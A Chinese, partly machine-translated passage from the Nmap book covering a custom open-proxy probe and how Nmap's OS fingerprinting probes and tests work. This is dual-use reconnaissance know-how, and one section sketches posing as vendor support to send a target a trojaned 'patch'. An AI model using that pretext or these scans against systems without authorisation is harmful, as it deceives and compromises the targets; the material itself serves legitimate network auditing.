现在我们需要在文件中添加一个探针和匹配行,所以打开你喜欢的编辑器,把下面的文字放到你的nmap-service-probes副本中。一个好的位置是在NULL探针中所有的匹配行之后,但紧接着下一个探针行(GenericLines)之前。
Probe TCP ProxyProbe q|GET http://insecure.org/ HTTP/1.1\r\nHost: insecure.org\r\n\r\n| rarity 1 ports 1-65535 totalwaitms 20000 match proxy m|^HTTP/1.[01] 200 OK\r?\n.*TITLE>Insecure.O|s p/Open HTTP Proxy!!/
现在Nmap将实际尝试从insecure.org请求HTTP下载,把任何扫描的端口都当作代理。我们将开始在对含有开放代理的网络的扫描中看到以下情况。
PORT STATE SERVICE VERSION 80/tcp open proxy Open HTTP Proxy!!
讨论
我们的探针的位置、低稀有值和广泛的端口范围有助于确保我们的定制探针在服务扫描中很快被尝试,这样其他探针如GetRequest就不会在我们有机会使用我们的主动探针之前简单地识别为一个代理。
我们还用totalwaitms指令让Nmap为这个探针等待更长的时间。这可能是必要的,因为我们不仅要处理我们和代理之间的连接的延迟和不可靠,而且还要处理代理和包含我们请求的页面的服务器之间的连接的延迟和不可靠(insecure.org)。
请记住,除了HTTP之外,许多其他协议也可以被代理。版本检测将识别其中许多协议的代理,包括FTP、POP3、IMAP和SMTP。SOCKS代理有特殊的匹配行,可以确定代理所配置的认证选项的信息。正如我们在这个方案中所做的那样,通常我们可以通过使用自定义探针文件,使用版本检测来判断这种代理是否打开。然而,更复杂的测试可能最好用NSE脚本来完成。
8.远端操作系统检测
介绍
操作系统检测的原因
确定目标主机的漏洞
定做漏洞利用
网络资产和支持
检测未经授权和危险的设备
社会工程学
用法和示例
Nmap 支持的 TCP/IP 指纹识别方法
发送探测
序列生成(SEQ、OPS、WIN和T1)
ICMP 回显 ( IE)
TCP 显式拥塞通知 ( ECN)
TCP ( T2- T7)
UDP ( U1)
响应测试
TCP ISN 最大公约数 ( GCD)
TCP ISN 计数器速率 ( ISR)
TCP ISN 序列可预测性指数 ( SP)
IP ID 序列生成算法 ( TI, CI, II)
共享 IP ID 序列布尔值 ( SS)
TCP 时间戳选项算法 ( TS)
TCP 选项 (O, O1–O6)
TCP 初始窗口大小 ( W, W1– W6)
响应性 ( R)
IP 不分片位 ( DF)
不分片 (ICMP) ( DFI)
IP 初始生存时间 ( T)
IP 初始生存时间猜测 ( TG)
显式拥塞通知 ( CC)
TCP 杂项怪异( Q) TCP miscellaneous quirks (Q)
TCP 序列号 ( S)
TCP 确认号 ( A)
TCP 标志 ( F)
TCP RST 数据校验和 ( RD)
IP总长度(IPL)
未使用的端口不可达字段非零 ( UN)
返回探针的 IP 总长度值 ( RIPL)
返回探针的 IP ID 值 ( RID)
返回探测的IP 校验和值的完整性 ( RIPCK)
返回探测的UDP 校验和的完整性 ( RUCK)
返回的 UDP 数据的完整性 ( RUD)
ICMP 响应码 ( CD)
IPv6 指纹识别
发送探测
序列生成 ( S1- S6)
ICMPv6 回显 ( IE1)
ICMPv6 回显 ( IE2)
节点信息查询(NI)
邻居发现 Neighbor Solicitation (NS)
UDP ( U1)
TCP 显式拥塞通知 ( TECN)
TCP ( T2- T7)
特征提取
所有特征的列表
与 IPv4 的区别
Nmap 避免的指纹识别方法
被动指纹识别
漏洞利用年表 Exploit Chronology(译者注:某个系统是否存在某个漏洞确定系统版本范围)
重传次数
IP分片
开放端口模型
不再测试
了解 Nmap 指纹
解码对象指纹格式
解码对象指纹的SCAN行
解码参考指纹格式
· 自由格式的操作系统描述(Fingerprint行)
设备和操作系统分类(Class行)
CPE 名称(CPE行)
测试表达式
IPv6 指纹
设备类型
操作系统匹配算法
IPv4 匹配
IPv6 匹配
处理错误识别和未识别的主机
当 Nmap 猜错时
当 Nmap 找不到匹配并打印指纹时
自己修改nmap-os-db数据库
解决方案:检测企业网络上的流氓ap
问题
解决
WAP特性
OS DB: 5678 个指纹,涵盖 1418 个类 (r)
版本 DB: 11657 个匹配行,涵盖 1217 个服务 (r)
介绍
当为安全审计或资产/管理而探索一个网络时,你通常想知道的不仅仅是识别机器的裸IP地址。你发现一台打印机的反应可能与发现一台路由器、无线接入点、电话PBX、游戏机、Windows桌面或Unix服务器的反应非常不同。更精细的检测(如区分Mac OS X 10.4和10.3)对于确定特定缺陷的漏洞以及针对这些漏洞定制有效的利用非常有用。
因对攻击者的价值,许多系统对其确切性质和操作系统配置守口如瓶。幸运的是,Nmap包括一个巨大的启发式数据库,根据它们对选定的TCP/IP探针的反应来识别成千上万的不同系统。其他系统(版本检测的部分)询问开放的TCP或UDP端口以确定设备类型和操作系统细节。这两个系统的结果是独立报告的,这样你就可以识别各种组合,如Checkpoint 防火墙将80端口转发到Windows IIS服务器。
虽然 Nmap 自 1998 年以来就支持操作系统检测,但本章描述的是 2006 年发布的第二代系统。
虽然发现网络上的底层操作系统和设备类型的一些好处是显而易见的,但其他一些则比较模糊。本节列出了我听到的发现这些额外信息的主要原因。
确定目标主机的漏洞
有时很难远程地确定一个可用的服务是否容易受到某种漏洞的影响或打了补丁。即使获得应用程序的版本号也不一定有帮助,因为操作系统的发行商经常在不改变版本号的情况下向后移植安全修复程序。验证一个漏洞是否真实的最可靠的方法是利用它,但这有可能使服务崩溃,而且如果服务被证明是有补丁的,可能会导致浪费几个小时甚至几天的令人沮丧的漏洞利用努力。
操作系统检测有助于减少这些误报。例如,未打补丁的 Sun Solaris 7 到 9 上的 Rwho 守护程序可能是可远程利用的(Sun alert #57659)。远程确定漏洞很困难,但您可以通过发现目标系统正在运行 Solaris 10 来排除它。
从系统管理员而不是渗透测试人员的角度来看,假设您在警报 #57659 出现时经营一家大型 Sun 商店。使用操作系统检测扫描您的整个网络,以便在坏人之前找到需要修补的机器。
定制漏洞
即使在你发现目标系统的漏洞后,操作系统检测也有助于漏洞利用它。缓冲区溢出、格式化字符串利用和许多其他漏洞往往需要定制的shellcode,其偏移量和生成的汇编攻击载荷要与目标操作系统和硬件架构相匹配。在某些情况下,你只有一次机会,因为如果你弄错了shellcode,服务就会崩溃。首先使用操作系统检测,否则你可能会把Linux的shellcode发送到一个FreeBSD的服务上。
网络资产和支持
虽然它不像通过特制的格式字符串漏洞利用破坏root那么令人兴奋,但有许多管理原因可以跟踪网络上正在运行的内容。在您将 IRIX 支持合同再续订一年之前,请扫描以查看是否有人仍在使用此类机器。资产也可用于 IT 预算和确保所有公司设备都被计算在内。
检测未经授权和危险的设备
随着移动设备和廉价商品网络设备的普及,公司越来越多地发现,员工正在以不理想的方式扩展他们的网络。他们可能在自己的隔间里安装一个20美元的无线接入点(WAP),而没有意识到(或关心)他们刚刚把受保护的公司网络开放给停车场或附近建筑物的潜在攻击者。WAP可能非常危险,Nmap有一个专门的类别来检测它们,如 "解决方案:检测企业网络上的流氓无线接入点 "一节所演示的。用户也可能通过将不安全和/或受蠕虫感染的笔记本电脑连接到公司网络而使系统管理员感到痛苦。定期扫描可以发现未经授权的设备,以便进行调查和遏制。
社会工程学
另一个可能的用途是社会工程。假设你正在扫描一个目标公司,Nmap报告了一个 "Datavoice TxPORT PRISM 3000 T1 CSU/DSU 6.22/2.06"。你可以打电话给目标公司,假装是Datavoice的技术支持,讨论他们的PRISM 3000的一些问题。告诉他们你即将宣布一个大的安全漏洞,但要先向有价值的客户提供补丁。一些天真的管理员可能会认为,只有Datavoice公司的授权工程师才会对他们的CSU/DSU有这么多的了解。当然,你发给他们的补丁是一个木马,让你可以远程访问嗅探和跟踪他们的网络。在尝试之前,请务必阅读本章的其余部分以了解检测准确性和验证建议。如果你猜错了目标系统,他们报警,那将是一个尴尬的故事,可以告诉你的狱友。
用法和示例
操作系统检测的内部工作非常复杂,但它是最容易使用的功能之一。只需添加 -O
到您的扫描选项。您可能还想用 -v
增加详细程度以获取更多与操作系统相关的详细信息。这在示例 8.1中显示。
-O
-v
)# nmap -O -v scanme.nmap.org
Starting Nmap ( http://nmap.org )
Nmap scan report for scanme.nmap.org (74.207.244.221)
Not shown: 994 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
646/tcp filtered ldp
1720/tcp filtered H.323/Q.931
9929/tcp open nping-echo
31337/tcp open Elite
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6.39
OS details: Linux 2.6.39
Uptime guess: 1.674 days (since Fri Sep 9 12:03:04 2011)
Network Distance: 10 hops
TCP Sequence Prediction: Difficulty=205 (Good luck!)
IP ID Sequence Generation: All zeros
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 5.58 seconds
Raw packets sent: 1063 (47.432KB) | Rcvd: 1031 (41.664KB)
包括-O -v
选项导致 Nmap 生成以下额外行条目:
- 设备类型 行
-
所有指纹都使用一种或多种高级设备类型进行分类,例如
router
、printer
、firewall
或 (如本例所示)general purpose(译者注:通用设备指的是pc)
。这些在称为“设备和操作系统分类(Class
行)”的部分中进一步描述。可能会显示几种设备类型,在这种情况下,它们将使用管道符号分隔,如“Device Type: router|firewall
”中。 - 运行 行
-
该字段还与“设备和操作系统分类(
Class
行)”一节中描述的操作系统分类方案相关。如果可用,它会显示操作系统家族(本例中为Linux)和操作系统代数(2.6.X
)。如果有多个操作系统家族,它们之间用逗号分隔。当 Nmap 无法将 代数缩小到一个特定选项时,选项由管道符号 ('|') 分隔,示例OpenBSD 3.X, NetBSD 3.X|4.X
和Linux 2.4.X|2.5.X|2.6.X
。如果Nmap发现太多的操作系统族而不能简洁地打印,它将省略这一行。当没有完全匹配时,Nmap把这个字段改为Running (JUST GUESSING),并在每个候选家族后面的括号里增加准确率(100%是完全匹配)。如果没有指纹是近似匹配的,这一行会被省略。
- 操作系统 CPE
-
这显示了操作系统的通用平台枚举(CPE)表示,如果有的话。它也可能有一个硬件类型的CPE表示。操作系统CPE以cpe:/o开头,硬件CPE以cpe:/h开头。关于CPE的更多信息,请参见 "通用平台枚举(CPE)"一节。
- 操作系统详细信息
-
这一行最重要,前面三行都是依据这一行产生的。这一行给出了每个匹配的指纹的详细描述。设备类型和运行 行来自预定义的枚举列表,便于计算机分析,而操作系统细节行包含自由格式的数据,对阅读报告的人来说很有用。这可以包括更精确的版本号、设备型号和特定指纹的架构。在这个例子中,唯一匹配的指纹是Linux 2.6.20-1(Fedora Core 5)。当有多个完全匹配的指纹时,它们是以逗号分隔的。如果没有完美的匹配,但有一些接近的猜测,该字段被重新命名为 "积极的操作系统猜测",指纹被显示在括号中的百分比后面,说明每个匹配有多接近。
- 正常运行时间猜测
-
作为操作系统检测的一部分,Nmap 连续接收多个 SYN/ACK TCP 数据包并检查标头中的时间戳选项。许多操作系统为此使用一个简单的计数器,该计数器在启动时从零开始,然后以恒定速率递增,例如每秒两次。通过查看多个响应,Nmap 可以确定当前值和增长率。简单的线性外推决定了启动时间。时间戳算法也用于操作系统检测(参见“TCP 时间戳选项算法 (
TS
)”一节),因为不同系统上的增量速率从 2 Hz 到 1,000 Hz 不等。正常运行时间猜测被标记为“猜测”因为各种因素可以使它完全不准确。一些操作系统不会从零开始时间戳计数器,而是用随机值对其进行初始化,使得外推到零毫无意义。即使在使用从零开始的简单计数器的系统上,计数器最终也会溢出并回绕。以 1,000 Hz 的计数器增量速率,计数器大约每 50 天重置一次为零。因此,一个已上线 102 天的主机似乎只上线了两天。即使有这些警告,对于大多数操作系统来说,正常运行时间的猜测在大部分时间都是准确的,因此它会在可用时打印,但仅在详细模式下。如果目标在其 SYN/ACK 数据包中给出零或没有时间戳选项,或者根本不回复,则忽略正常运行时间猜测。
- 网络距离
-
一个操作系统检测测试的其他作用允许 Nmap 计算它和目标主机之间有多少路由器。扫描本地主机时距离为零,同一网段上的机器距离为零。路径上每增加一个路由器,跳数就会增加一。此示例中不打印该
Network Distance
行,因为 Nmap 在无法计算该行时省略了该行(没有回复相关探测)。 - TCP序列预测
-
TCP 初始序列号 生成较差的系统容易受到盲目TCP 欺骗攻击。 换句话说,您可以与这些系统建立完全连接并发送(但收不到)数据,同时欺骗不同的 IP 地址。目标的日志将显示被欺骗的 IP,您可以利用它们之间的任何信任关系。这种攻击在 90 年代中期风靡一时,当时人们通常使用 rlogin 来允许从受信任的 IP 地址在没有任何密码的情况下登录他们的帐户。据称, Kevin Mitnick在 1994 年 12 月 利用这次攻击侵入了 Tsutomu Shimomura 的 计算机。
好消息是几乎没有人再使用 rlogin,而且许多操作系统已被修复为使用RFC 1948提出的不可预测的初始序列号。由于这些原因,此行仅在详细模式打印。可悲的是,许多供应商仍在提供 易受攻击的操作系统和设备。修复系统经常在实现上有所不同,这使得它们对于操作系统检测很有价值。该类描述了目标使用的 ISN 生成算法,难度是对系统进行盲目IP 欺骗的难度的粗略估计(0 是最简单的)。 括号内的评论是基于难度指数,从小意思到简单、中等、可怕、值得挑战,最后是祝你好运。 关于序列预测的更多细节在“TCP ISN最大公约数(
GCD
)”一节中提供。虽然rlogin家族大多是过去的遗物,但聪明的攻击者仍然可以找到盲TCP欺骗的有效用途。例如,它允许欺骗的HTTP请求。你看不到结果,但仅仅是URL(POST或GET请求)就可以产生巨大的副作用。欺骗允许攻击者隐藏自己的身份,陷害他人,或利用IP地址限制。
- IP ID 序列生成
-
许多系统在不知不觉中泄露了有关其流量水平的敏感信息,这些信息是基于它们如何在IP数据包中生成低16位ID字段。这可以被滥用来欺骗对其他系统的端口扫描,并用于 "TCP空闲扫描(-sI) "一节中讨论的其他恶作剧目的。这个字段描述Nmap能够辨别的ID生成算法。关于它如何分类的更多信息可以在 "IP ID序列生成算法(TI, CI, II) "一节中找到。请注意,许多系统对与它们通信的每个主机使用不同的IP ID空间。在这种情况下,它们可能看起来很脆弱(如显示
Incremental
类),而对空闲扫描等攻击仍是安全的。由于这个原因,而且这个问题很少是关键的,IP ID序列生成行只在verbose模式下打印。如果Nmap在操作系统检测期间没有收到足够的响应,它将省略整个行。测试一个主机是否容易成为空闲扫描僵尸的最好方法是用-sI测试它。
虽然 TCP 指纹识别是一种强大的操作系统检测方法,但询问开放端口以获取线索是另一种有效的方法。某些应用程序,例如 Microsoft IIS,仅在单一平台上运行(因此暴露了它),而许多其他应用程序则通过过于冗长的banner消息泄露其平台。添加该-sV
选项可以启用 Nmap 版本检测,该检测经过训练可以寻找这些线索(以及其他线索)。在示例 8.2中,Nmap 从 FTP 服务器捕获平台详细信息。
# nmap -sV -O -v 129.128.X.XX
Starting Nmap ( http://nmap.org )
Nmap scan report for [hostname] (129.128.X.XX)
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp HP-UX 10.x ftpd 4.1
22/tcp open ssh OpenSSH 3.7.1p1 (protocol 1.99)
111/tcp open rpc
445/tcp filtered microsoft-ds
1526/tcp open oracle-tns Oracle TNS Listener
32775/tcp open rpc
No exact OS matches for host
TCP Sequence Prediction: class="truly" random
Difficulty=9999999 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: HP-UX
在本例中,“ No exact OS matches for host
”行 表示 TCP/IP 指纹识别未能找到精确匹配。幸运的是, Service Info
几行下的字段显示操作系统是 HP-UX。如果检测到多个操作系统(这可能发生在将端口重定向到几台不同机器的 NAT 网关中),该字段将是OSs
,值将用逗号分隔。该Service Info
行还可以包含在版本扫描期间找到的主机名和设备类型。本章的重点是 TCP/IP 指纹识别,因为版本检测已在第 7 章“服务和应用程序版本检测”中介绍。
有两种有效的操作系统检测方法,您应该使用哪一种?最好的答案通常是两者兼得。在某些情况下,例如袋里防火墙 转发到另一台主机上的应用程序,答案可能会合法地不同。TCP/IP 指纹识别将识别袋里,而版本扫描通常会检测运行代理应用程序的服务器。即使不涉及代理或端口转发,使用这两种技术也是有益的。如果结果相同,则结果更可信。如果它们的结果大相径庭,请进一步调查以确定发生了什么,然后再依赖其中任何一个。由于操作系统和版本检测结合得很好,因此该-A
选项可以同时启用它们。
如果发现至少一个开放的和一个关闭的TCP端口,操作系统检测会有效得多。设置 --osscan-limit选项,Nmap甚至不会对不符合这个条件的主机进行操作系统检测。这可以节省大量时间,特别是在对许多主机进行-Pn扫描时。您仍然需要用-O (或-A)启用操作系统检测,这样--osscan-limit选项才有效果。
另一个操作系统检测选项是 --osscan-guess。当Nmap不能检测到完美的操作系统匹配时,它有时会提供近似的匹配作为可能性。默认情况下,匹配必须非常接近,Nmap才会这样做。如果您指定这个选项(或等同的--fuzzy选项),Nmap会更积极地猜测。Nmap仍然会在发现不完全匹配时告诉您,并显示它对每个猜测的信任度(百分比)。
当Nmap对一个目标进行操作系统检测而没有找到完美的匹配时,它通常会重复这种尝试。默认情况下,如果条件对提交操作系统指纹有利,Nmap会尝试五次,如果条件不那么好,会尝试两次。--max-os-tries选项让您改变这个操作系统检测的最大次数。降低它(通常是1)可以加快Nmap的速度,尽管您错过了有可能识别操作系统的重试。或者,可以设置一个高值,以便在条件有利的时候允许更多的重试。除了为提交和整合到Nmap操作系统数据库产生更好的指纹外,很少这样做。
就像Nmap的其他选项一样,结果最终来自目标机器本身。虽然很少,但目标系统偶尔会被配置成混淆或误导Nmap。有几个程序甚至被专门开发来欺骗Nmap的操作系统检测(见 "操作系统欺骗 "一节)。您最好的选择是使用许多侦察方法来探索一个网络,不要相信其中任何一种。
TCP/IP指纹识别需要收集目标的IP栈的详细信息。最常见的有用的结果,比如TTL信息,只要得到就会打印到Nmap输出。稍微不那么相关的信息,如IP ID序列生成和TCP序列预测难度,只在verbose模式下打印。但是,如果您想得到Nmap收集的所有IP栈细节,您可以用一种叫做主题指纹的紧凑形式找到它。Nmap有时在它不识别一个主机时打印这个(为了用户提交)。您也可以通过用(-d)启用调试功能强迫Nmap打印它(用正常、交互式和XML格式)。然后阅读 "理解Nmap指纹 "一节来解释它。
Nmap 支持的 TCP/IP 指纹识别方法(机翻)
Nmap OS 指纹识别通过向目标机器的已知打开和关闭端口发送多达 16 个 TCP、UDP 和 ICMP 探测来工作。这些探针专门设计用于利用标准协议 RFC 中的各种模糊之处。然后 Nmap 监听响应。这些响应中的数十个属性被分析和组合以生成指纹。每个探测数据包都被跟踪,如果没有响应,至少重新发送一次。所有数据包都是具有随机 IP ID 值的 IPv4。如果没有找到这样的端口,则跳过对打开的 TCP 端口的探测。对于关闭的 TCP 或 UDP 端口,Nmap 会首先检查是否找到了这样的端口。如果没有,Nmap将随机挑选一个端口,并希望得到最好的结果。
以下部分技术含量高,揭示了 Nmap OS 检测的隐藏工作原理。Nmap 可以在不了解这一点的情况下有效地使用,尽管该材料可以帮助您更好地了解远程网络并检测和解释某些异常情况。另外,其中一些技术非常酷。匆忙的读者可以跳到“处理错误识别和未识别的主机”部分。但是对于那些准备好通过 TCP 显式拥塞通知、保留的 UDP 标头位、初始序列号、虚假tcp标志和圣诞树数据包的人:继续阅读!
即使是我们当中最优秀的人,有时也会忘记数据包头字段和标志的字节偏移量。为了快速参考,可以在名为“TCP/IP 参考”的部分中找到 IPv4、TCP、UDP 和 ICMP 标头布局。ICMP 回显请求和目标不可达数据包的布局如图 8.1和图 8.2 所示。
译者注:指定一个目标后结果如下,
TCP/IP fingerprint:
SCAN(V=7.92%E=4%D=4/7%OT=22%CT=1%CU=44315%PV=N%DS=14%DC=I%G=N%TM=624EDE81%P=i686-pc-windows-windows)
SEQ(SP=104%GCD=1%ISR=10B%TI=Z%II=I%TS=A)
OPS(O1=M5ACST11NW7%O2=M5ACST11NW7%O3=M5ACNNT11NW7%O4=M5ACST11NW7%O5=M5ACST11NW7%O6=M5ACST11)
WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
ECN(R=Y%DF=Y%T=3F%W=FAF0%O=M5ACNNSNW7%CC=Y%Q=)
T1(R=Y%DF=Y%T=3F%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=N)
T5(R=Y%DF=Y%T=3E%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=N)
T7(R=N)
U1(R=Y%DF=N%T=3F%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
IE(R=Y%DFI=N%T=3F%CD=S)
发送测试探测
本节介绍 Nmap 作为 TCP/IP 指纹识别的一部分发送的每个 IP 探测。它指的是下一节中解释的 Nmap 响应测试和 TCP 选项。
序列生成(SEQ
、OPS
、WIN
和T1
)
发送一系列六个 TCP 探测以生成这四个测试响应行。探测的发送间隔恰好为 100 毫秒,因此总时间为 500 毫秒。准确的时间很重要,因为我们检测到的一些序列算法(初始序列号、IP ID 和 TCP 时间戳)是时间相关的。这个时间值被选择为 500 ms,以便我们可以可靠地检测常见的 2 Hz TCP 时间戳序列。
每个探测都是一个TCP SYN数据包到远程机器上检测到的开放端口。序列号和确认号是随机的(但保存起来以便Nmap可以区分响应)。探测的准确性要求探针的一致性,所以即使用户用--data-length要求,也没有数据有效载荷。
这些数据包在它们使用的TCP选项和TCP窗口字段值方面有所不同。下面的列表提供了所有六个数据包的选项和值。所列的窗口字段值不反映窗口的缩放比例。EOL 是选项列表的结尾选项,许多嗅探工具默认不显示该选项。
-
数据包 #1:窗口比例 (10)、NOP、MSS (1460)、时间戳(TSval:0xFFFFFFFF;TSecr:0),允许 SACK。窗口字段为 1。
-
数据包 #2: MSS (1400),窗口比例 (0),允许 SACK,时间戳(TSval:0xFFFFFFFF;TSecr:0),EOL。窗口字段为 63。
-
数据包#3:时间戳(TSval:0xFFFFFFFF;TSecr:0)、NOP、NOP、窗口比例(5)、NOP、MSS(640)。窗口字段为 4。
-
数据包 #4:允许 SACK,时间戳(TSval:0xFFFFFFFF;TSecr:0),窗口比例(10),EOL。窗口字段为 4。
-
数据包 #5: MSS (536),允许 SACK,时间戳(TSval:0xFFFFFFFF;TSecr:0),窗口比例(10),EOL。窗口字段为 16。
-
数据包 #6: MSS (265),允许 SACK,时间戳(TSval:0xFFFFFFFF;TSecr:0)。窗口字段为 512。
这些测试的结果包括四个结果类别行。第一个, SEQ
包含基于探测数据包序列分析的结果。这些测试结果是GCD
、 SP
、ISR
、TI
、 II
、TS
和 SS
。 下一行OPS
包含为每个探测接收到的 TCP 选项(测试名称是 O1到
06
)。 同样,该WIN
行包含探测响应的窗口大小( W1到
W6
)。 与这些探测相关的最后一行 T1
,包含数据包 #1 的各种测试值。这些结果适用于R
, DF
, T
, TG
, W
, S
, A
, F
, O
, RD
, 和Q
测试。 这些测试仅针对第一个探针报告,因为它们对于每个探针几乎总是相同的。
这些测试的结果包括四个结果类别行。第一行,SEQ,包含基于探测数据包的序列分析的结果。这些测试结果是GCD、SP、ISR、TI、II、TS和SS。下一行,OPS包含每个探针收到的TCP选项(测试名称为O1到06)。同样,WIN一行包含探针响应的窗口大小(命名为W1到W6)。与这些探针有关的最后一行,T1,包含了1号数据包的各种测试值。这些结果是针对R、DF、T、TG、W、S、A、F、O、RD和Q测试。这些测试只报告给第一个探针,因为它们对每个探针几乎都是一样的。
ICMP 回显 ( IE
)
IE测试包括向目标发送两个ICMP回显请求数据包。第一个数据包设置了IP DF位,服务类型(TOS)字节值为0,代码为9(尽管它应该是0),序列号为295,一个随机的IP ID和ICMP请求标识符,数据有效载荷为120字节的0x00。
第二个ping查询类似,除了使用TOS为4(IP_TOS_RELIABILITY),代码为0,发送150字节的数据,ICMP请求ID和序列号比前一个查询值增加1。
这两个探针的结果组合成 IE
一行,其中包含 R
、DFI
、T
、 TG
和CD
测试。 仅当两个探针都引发响应时,该R
值才为真 (Y)。、 T
和CD
值仅用于对第一个探测的响应,因为它们几乎不可能不同。 DFI是针对这种特殊的双探针ICMP情况的一个自定义测试。
这些 ICMP 探测紧跟在 TCP 序列探测之后,以确保共享 IP ID 序列号测试的有效结果(请参阅名为“共享 IP ID 序列布尔 ( SS
)”的部分)。
TCP 显式拥塞通知 ( ECN
)
此探针测试目标 TCP 栈中的显式拥塞通知 (ECN) 支持。ECN 是一种提高 Internet 性能的方法,它允许路由器在开始丢弃数据包之前发出拥塞问题的信号。它记录在RFC 3168. Nmap 通过发送一个同时设置了 ECN CWR 和 ECE 拥塞控制标志的 SYN 数据包来测试这一点。对于不相关的(与 ECN)测试,即使未设置紧急标志,也会使用紧急字段值 0xF7F5。确认号为零,序列号为随机,窗口大小字段为三,紧接在 CWR 位之前的保留位被置位。TCP 选项是 WScale (10)、NOP、MSS (1460)、SACK allowed、NOP、NOP。探针被发送到一个开放的端口。
如果收到响应,则R
, DF
, T
, TG
, W
, O
, CC
, 和Q
测试 被执行和记录。
TCP ( T2
- T7
)
六个T2
到T7
测试每个发送一个 TCP 探测数据包。除了一个例外,每种情况下的 TCP 选项数据都是 (in hex) 03030A0102040109080AFFFFFFFF000000000402
。这 20 个字节对应于窗口比例 (10)、NOP、MSS (265)、时间戳 (TSval: 0xFFFFFFFF; TSecr: 0),然后允许 SACK。例外情况是T7
使用 15 而不是 10 的 Window scale 值。每个探针的可变特性如下所述:
-
T2将设置了 IP DF 位和窗口字段 128 的 TCP 空(未设置标志)数据包发送到开放端口。
-
T3将设置了 SYN、FIN、URG 和 PSH 标志以及窗口字段 256 的 TCP 数据包发送到打开的端口。IP DF 位未设置。
-
T4向一个开放端口发送一个带有 IP DF 和 1024 窗口字段的 TCP ACK 数据包。
-
T5向关闭的端口发送一个没有 IP DF 和窗口字段 31337 的 TCP SYN 数据包。
-
T6向一个关闭的端口发送一个带有 IP DF 和窗口字段 32768 的 TCP ACK 数据包。
-
T7将设置了 FIN、PSH 和 URG 标志以及窗口字段 65535 的 TCP 数据包发送到关闭的端口。IP DF 位未设置。
在每种情况下,都会在指纹中添加一行,其中包含R
、DF
、 T
、TG
、W
、 S
、A
、F
、 O
、RD
和Q
测试的结果。
UDP ( U1
)
此探测是发送到关闭端口的 UDP 数据包。对于数据字段,字符“C”(0x43) 重复 300 次。对于允许我们设置的操作系统,IP ID 值设置为 0x1042。如果端口确实关闭并且没有防火墙,Nmap 期望收到 ICMP 端口不可达消息作为回报。然后对该响应进行 R
, DF
, T
, TG
, IPL
, UN
, RIPL
, RID
, RIPCK
, RUCK
, 和RUD
测试。
接收测试响应
上一节描述了 Nmap 发送的探针,这一节通过描述对响应执行的一系列测试来完成这个难题。短名称(例如DF
、 R
和RIPCK
)是在 nmap-os-db
指纹数据库中使用的名称以节省空间。除非另有说明,否则所有数值测试值均以十六进制表示法给出,不带前导零。测试大致按照它们在指纹中出现的顺序记录。
TCP ISN 最大公约数 ( GCD
)
测试向目标机器的SEQ
一个开放端口发送六个 TCP SYN 数据包,并收集回 SYN/ACK 数据包。这些 SYN/ACK 数据包中的每一个都包含一个 32 位的初始序列号 (ISN)。此测试尝试确定目标主机将这些值递增的最小数字。例如,许多主机(尤其是旧主机)总是以 64,000 的倍数递增 ISN。
计算这一点的第一步是在探针响应之间创建一系列差异。第一个元素是第一个和第二个探测响应 ISN 之间的差异。第二个元素是第二个和第三个响应之间的差异。如果 Nmap 收到对所有六个探测的响应,则有五个元素。由于接下来的几节引用了这个数组,我们将它命名为 diff1
。如果 ISN 低于前一个,Nmap 会查看它必须从第一个值中减去以获得第二个值的值的数量,以及它必须向上计数的值的数量(包括包装 32 位计数器归零)。这两个值中较小的存储在 diff1
. 所以 0x20000 和 0x15000 之间的差异是 0xB000。0xFFFFFF00 和 0xC000 之间的差异是 0xC0FF。然后,该测试值记录所有这些元素的最大公约数。这GCD
也用于计算SP
结果。
TCP ISN 计数器速率 ( ISR
)
此值报告返回的 TCP 初始序列号的平均增长率。回想一下,在每两个连续的探测响应之间取一个差异,并将其存储在前面讨论的 diff1
数组中。这些差异分别除以发送生成它们的两个探针之间经过的时间量(以秒为单位,通常约为 0.1)。结果是一个数组,我们称之为seq_rates
包含 ISN 计数器每秒增加的速率。该数组的每个diff1
值都有一个元素。取数组值的平均值。如果该平均值小于一(例如,使用恒定的 ISN),ISR
则为零。否则 ISR
是该平均值的二进制对数(log base-2)的八倍,四舍五入到最接近的整数。
TCP ISN 序列可预测性指数 ( SP
)
虽然ISR
测试测量初始序列号增量的平均速率,但该值测量 ISN 可变性。它粗略估计了从已知的六个探测响应序列中预测下一个 ISN 的难度。计算使用上一节中讨论的差值数组 ( seq_rates
) 和GCD
值。
仅在看到至少四个响应时才执行此测试。如果先前计算的GCD
值大于 9,则先前计算的 seq_rates
数组的元素除以该值。我们不会对较小的 GCD 值进行除法,因为这些通常是偶然造成的。然后获取结果值数组的标准偏差。如果结果为 1 或更少,SP
则为 0。否则计算结果的二进制对数,然后乘以 8,四舍五入到最接近的整数,并存储为 SP
.
请记住,此测试仅用于操作系统检测目的,并不是对目标 ISN 生成器的全面审核。SP
即使具有很高的价值,也有许多算法弱点导致容易预测。
IP ID 序列生成算法 ( TI
, CI
, II
)
有三个测试检查响应的 IP 标头 ID 字段。 TI
基于对 TCP SEQ
探测的响应。CI
来自对发送到关闭端口的三个 TCP 探测的响应: T5
、T6
和T7
。 II
来自对两个 IE
ping 探测的 ICMP 响应。对于TI
,必须至少收到三个响应才能包含测试;对于 CI
,至少需要两个响应;对于 II
,必须接收到两个 ICMP 响应。
对于这些测试中的每一个,目标的 IP ID 生成算法都根据以下算法进行分类。注意到测试之间的微小差异。请注意,差异值假定计数器可以回绕。因此,IP ID 为 65,100 和值 700 之间的差值为 1,136。2,000 和 1,100 之间的差值为 64,636。以下是计算细节:
-
如果所有的 ID 号都为零,则测试的值为
Z
。 -
如果 IP ID 序列至少增加了 20,000,则该值为
RD
(随机)。这个结果是不可能的,II
因为没有足够的样本来支持它。 -
如果所有 IP ID 都相同,则测试设置为该十六进制值。
-
如果两个连续 ID 之间的任何差异超过 1,000,并且不能被 256 整除,则测试的值为
RI
(随机正增量)。如果差值能被 256 整除,则必须至少为 256,000 才能导致此RI
结果。 -
如果所有差值都可被 256 整除且不大于 5,120,则测试设置为
BI
